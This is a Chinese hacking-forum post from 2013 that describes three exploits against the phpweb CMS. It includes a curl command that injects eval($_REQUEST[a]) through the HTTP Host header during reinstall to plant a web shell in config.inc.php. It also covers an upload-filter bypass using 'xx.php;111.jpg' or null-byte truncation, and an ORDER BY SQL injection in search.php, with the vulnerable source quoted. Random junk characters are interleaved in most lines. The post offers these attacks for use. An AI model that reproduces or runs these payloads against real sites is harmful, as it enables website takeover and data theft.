找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2394|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:; _5 W" g# W- g. e# q0 j
" l5 O- X/ ^& d4 k7 ?7 R) X# W
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码# _8 O' i4 f" A) e8 J/ o

! M. h  `% k6 k9 h3 @( i" k鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 S( ^+ i2 c: D, B鸡肋2: 有一定安全常识的站长都会删掉 install 目录
2 B# `" i9 s( S7 t
# ~+ M- M+ i% x虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响9 t: X/ ?, f* w+ m8 Z

) j- ]4 I  d) g3 F3 ~. ~' j( |8 @( c分析:0 T& P+ m. S2 T' J# n
7 z9 \' {1 E1 e& [9 }% M

) U# m" T0 i: N5 Z8 u9 G- t& `$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
0 ?& h- R: E; @
1 N" b/ V8 [% I& e* I                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  f' B  R0 @6 b  e. G: }                                            $filestr=str_replace(" ","",$filestr);5 T; ~) W1 M  {' w8 i& B
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$ C, ~! Q' _+ w7 T% z                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);" e) V) l' v. ~# l7 w( x
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);$ o5 s3 W: H( q/ h5 A1 s
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);/ T$ M, E. m: G* o
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);% @  b! v- V" P
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
0 R1 Q3 t7 H9 Q                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- `4 d/ }) |  |8 B1 {* e
& L; T) W0 M# B# P$ D8 U2 ^# \
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
* @  o$ k) F. V' `; ]) ~3 T( d( Y/ C' R$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
1 V- P4 e. Y$ a4 E
: ]& c7 Y# F% H4 I& `* ]7 v; w, upoc:1 k4 E& }/ m# i+ Z

4 N1 p1 C! j5 m3 \8 J# _?9 P0 p  ^( \/ m- B
1
' X" }/ A" m" Z3 K3 ^curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#", H, g+ ?. a) R& m- P; W- A
shell地址: /config.inc.php1 m) H: ?, G% R$ B; Z; Z# m: T7 z
跟之前的 phpcms一样 需要远程数据库
" l3 V' F8 }2 T - m; c5 c7 p; I& L
——————————————————–, `5 Y! U0 Y+ [" h6 P6 d0 q8 P/ d2 P
上传漏洞(需要进后台):8 f* \6 l" h0 s, l+ c6 S) o" L- @; \& D
漏洞文件: /kedit/upload_cgi/upload.php
9 y- l6 s6 o% U/ I6 S6 Y5 P9 P这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
% M( Y* e' A: Z- D- I / `4 P3 E7 |6 k5 O4 I
: P% }* G/ o8 ~5 ^+ p
<?php! X. q6 w* ?$ q; g1 q
    define("ROOTPATH", "../../");6 Z% j6 i7 M& s5 D+ ^
    include(ROOTPATH."includes/admin.inc.php");+ J' }. e! z$ m
    NeedAuth(0);
* S7 E3 m, v+ q4 N* W : q" a  b* l7 }0 m
    $dt=date("Ymd",time());( z. D0 E+ V5 W! x2 E: K# q+ e
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 p0 P: b; y( T) y9 b            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
+ x& J' h9 u+ C! v    }( |- r" |$ U$ E

% N2 s6 I6 l1 I! k0 E    //文件保存目录路径
* s3 x, \6 o! z$ i" A5 @    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
3 ~; ~( W! X% D5 }    echo $save_path;
' Q2 O# ~! g1 f) K    //文件保存目录URL/ V( s) I* `5 U7 s6 V* K
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';$ p. x: C' @8 t( g% x, f! r

+ H4 D: e/ J2 y  _  p% g% f    //定义允许上传的文件扩展名
1 J8 q5 h- |) }9 F    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& r! Q9 e: T& R, C. v' R$ X
  u2 E  n  G  e  k; j' l. o
    //最大文件大小( Z) Q$ f! R; f% x7 w2 v
    $max_size = 1000000;& k5 u' V" z, A% C' ]" }
( M8 e1 n$ g; l* [% n, N
    //更改目录权限
! H9 i6 ~+ q9 u$ x( D    @mkdir($save_path, 0777);7 o  c9 ^2 b/ _5 p
' m; m' f1 V: M  L& g8 b6 Q
    //文件的全部路径2 s; U# D* P% ]# v  h# T" y. o+ Y
    $file_path = $save_path.$_POST['fileName'];   //保存文件名) r' X  C4 E* u/ K3 G# ~$ I" i

5 ^. F; g2 {% q; p) j" V) Z6 h    //文件URL
# ]. J! p) G# v/ ]" p    $file_url = $save_url.$_POST['fileName'];8 [+ F2 I7 @1 T! k
//有上传文件时  L+ \, C$ K+ g2 L
    if (empty($_FILES) === false) {
+ M  }- s4 y8 Y+ B " U1 u- n0 d) v. ?& g3 i
            //原文件名
( G& Z% p- s1 L& c            $file_name = $_FILES['fileData']['name'];$ |; j$ a* _+ [! q
            //服务器上临时文件名
. |* E: C; O7 O& @4 m            $tmp_name = $_FILES['fileData']['tmp_name'];
  R0 |; x0 ~4 Y7 D% Q2 D            //文件大小& w$ V9 T. Y$ n
            $file_size = $_FILES['fileData']['size'];$ J  I! }% X6 \* b0 Y! X- _
            //检查目录
3 z7 J& s& M; B( u: W            if (@is_dir($save_path) === false) {
# H* S' b  y+ J                    alert("上传目录不存在。");
2 j, A0 C2 p6 T            }/ b7 v& [: }- H) O5 `
            //检查目录写权限
* u  W* i7 `9 _2 a  q8 K* ~6 K            if (@is_writable($save_path) === false) {
: U! g- j3 v/ Q4 H                    alert("上传目录没有写权限。");8 G1 n" j* L) a
            }
% q4 k/ `3 Q& y2 e. O. k* z; M" T            //检查是否已上传
" Z, a" T/ @( r* y- c- u' I            if (@is_uploaded_file($tmp_name) === false) {3 e; O9 ~3 Z. M7 a/ h" v3 t  U
                    alert("临时文件可能不是上传文件。");& W: ^5 \* k3 Q3 x: x5 l- r% T
            }4 }7 w- c5 R$ |3 P
            //检查文件大小
& y3 I4 i, h6 A( O& b            if ($file_size > $max_size) {) }( O: u9 J( e) K4 Y
                    alert("上传文件大小超过限制。");
  ^4 o- \+ d, c* g- M* K6 H  x            }
: }' W; C5 t3 e1 F2 |$ N' O* a            //获得文件扩展名. |$ g# l0 Y$ _. b
            $temp_arr = explode(".", $_POST['fileName']);
- E! q. X6 U8 P4 n2 n- X$ h            $file_ext = array_pop($temp_arr);2 {7 k3 R( F3 f4 _$ K$ U
            $file_ext = trim($file_ext);
& V/ h1 S& Y+ K( z( {5 N            $file_ext = strtolower($file_ext);
0 l, l3 B' v9 ]) b% J
* C1 Y+ g5 @, w- d9 y$ o& e            //检查扩展名   
4 A0 n3 Z+ j' M8 A            if (in_array($file_ext, $ext_arr) === false) {     
0 q4 ^3 K0 h; Z/ A4 F3 ?) E                    alert("上传文件扩展名是不允许的扩展名。");* w& M' P% Q& W/ p# p6 E( a
            }  f* ~" O0 O! n

; x2 {( C+ z- f, I8 a            //移动文件   ' L5 ?" J( e% M6 M1 _
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^- h1 U( ]7 B9 _2 C. {
            if (move_uploaded_file($tmp_name, $file_path) === false) {
# W/ [7 {8 l0 D1 y% `  U; u  S, N                    alert("上传文件失败。");
; T. N3 B2 ]" R$ t9 g6 ~, R            }
4 x  _. P$ s7 i4 h3 e1 R
" ~" f9 Z  K5 ]( E0 e3 r$ W            @chmod($file_path,0666);
1 P0 E$ ~- D  N. `! E 9 T+ R$ }+ d0 [8 V8 V- K& t
    ?>* v9 N5 P7 _9 A% |& }
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 {1 e& G; b* I
+ f" S+ I$ m" Y0 S- S9 E9 G( napache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
* m# E% x  _3 u2 G; b
' o) {1 T& \+ `6 J% w+ _——————————————————/ C: a, j7 e# q0 P) Y
注入漏洞:
$ L  w: y2 Q# V, D漏洞文件:search/module/search.php
  D# {( r) v  V) X( u8 U: u5 _/search/index.php?key=1&myord=1 [sqlinjection]0 x" s) y7 G4 w5 l$ ?# ~$ o2 \" }8 B1 N
/ W  q0 S( T; E5 h# \

8 H2 v7 ~; W/ a- N<?php5 M* X! Y# s: p( S# v/ |4 o
   //       ... 省略 n 行...3 _+ x- A" C4 O4 [3 T# @
   //第18行:
1 }# v* a8 q/ f6 a# F  }/ j           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响5 b8 M' n( p: ?3 }& `  b
           $page=htmlspecialchars($_GET["page"]);9 C4 Y2 Y5 Z3 ~2 l( `/ i- I
           $myord=htmlspecialchars($_GET["myord"]);  s; B  Q* U9 @4 f* E6 Y! }8 U

2 N1 I2 V! o- d8 w   //       ... 省略 n 行...' d% F: L5 H6 U. {, ]) n) ~' T
   $key,$myord 两个参数带入查询
' i6 b1 g6 ~- S" r$ Z. _   //第47行 $key:
- v5 \' S5 m3 S0 i- y# z
! F2 [# T6 u, ?. z5 p4 C  v( y   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 d) n# a1 L. {0 L
$ Y' h+ R4 S5 o7 t   //第197行 $myord
. Q/ N2 K# @5 y0 c/ B' S   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
$ F% d  ^6 ^$ C! J! s% V
/ s! }6 j- t0 S* q, p" \- B7 i   ?>. l3 {0 z5 i9 H' V3 f4 {  b/ r) O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表